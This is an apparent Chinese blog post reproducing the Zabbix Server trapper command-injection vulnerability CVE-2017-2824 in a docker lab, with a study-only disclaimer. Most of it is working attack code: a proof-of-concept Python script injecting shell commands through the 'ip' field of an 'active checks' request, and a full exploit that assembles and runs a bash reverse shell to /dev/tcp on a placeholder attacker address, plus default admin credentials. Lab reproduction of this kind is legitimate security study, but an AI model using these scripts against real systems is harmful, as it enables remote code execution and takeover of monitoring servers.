当前位置:网站首页>Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
Zabbix Server trapper 命令注入漏洞 (CVE-2017-2824)
2022-07-02 05:56:00 【h领小白帽】
声明
本篇文章仅用于技术学习与漏洞复现,切勿用于非授权下的渗透测试行为,切记!
一、漏洞简介
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。
二、影响范围
Zabbix Server 2.4.X 版本
三、环境搭建
Vulfocus:docker pull vulfocus/zabbix-cve_2017_2824:latest
查看本地镜像并运行漏洞环境
docker images
docker run -d -P vulfocus/zabbix-cve_2017_2824
-d:将镜像挂起后台运行
-P:将镜像需要开启的端口随机映射到这台服务器的公网IP端口上


访问ip:port成功搭建,使用默认管理员账号密码进入后台
用户名:admin
密码:Zabbix

接着 在Configuration的选项卡里进入Actions下把Event source选中Auto registration,点击Create action,以管理员的身份去开启自动注册功能


操作完成之后就开启了自动注册功能。
四、本地实战
POC测试
利用链接:https://github.com/listenquiet/cve-2017-2824-reverse-shell
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

使用 ls /tmp命令查看是否执行成功
反弹Shell
Exp如下:
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "X.X.X.X"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "X.X." >> /tmp/1.sh', ';echo -n "X.X/" >> /tmp/1.sh', ';echo -n "1234 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

执行:python3 exp.py X.X.X.X
可以看到已经反弹Shell
攻击完成!!!
边栏推荐
猜你喜欢

How vite is compatible with lower version browsers

深度学习分类网络 -- AlexNet

CNN可视化技术 -- CAM & Grad-CAM详解及pytorch简洁实现
![Redis key value database [primary]](/img/47/10461d12720a9dd801f80ed1d3ad23.jpg)
Redis key value database [primary]

PHP 开发与测试 Webservice(SOAP)-Win

我所理解的DRM显示框架

RGB infinite cube (advanced version)
![[golang syntax] be careful with the copy of slices](/img/5e/1c82c58940939b94d03377ebdc03e3.jpg)
[golang syntax] be careful with the copy of slices

3D printer G code command: complete list and tutorial

Lantern Festival gift - plant vs zombie game (realized by Matlab)
随机推荐
Reading notes of cgnf: conditional graph neural fields
软件测试答疑篇
Test case
数据挖掘方向研究生常用网站
“简单”的无限魔方
c语言中的几个关键字
php数组转化为xml
【论文翻译】GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond
495.提莫攻击
File contains vulnerabilities (II)
Stc8h8k Series Assembly and c51 Real combat - NIXIE TUBE displays ADC, Key Series port reply Key number and ADC value
神机百炼3.53-Kruskal
DRM display framework as I understand it
PHP read file (read JSON file, convert to array)
TI毫米波雷达学习(一)
【C语言】简单实现扫雷游戏
PHP 开发与测试 Webservice(SOAP)-Win
Summary of MySQL constraints
JWT工具类
《CGNF: CONDITIONAL GRAPH NEURAL FIELDS》阅读笔记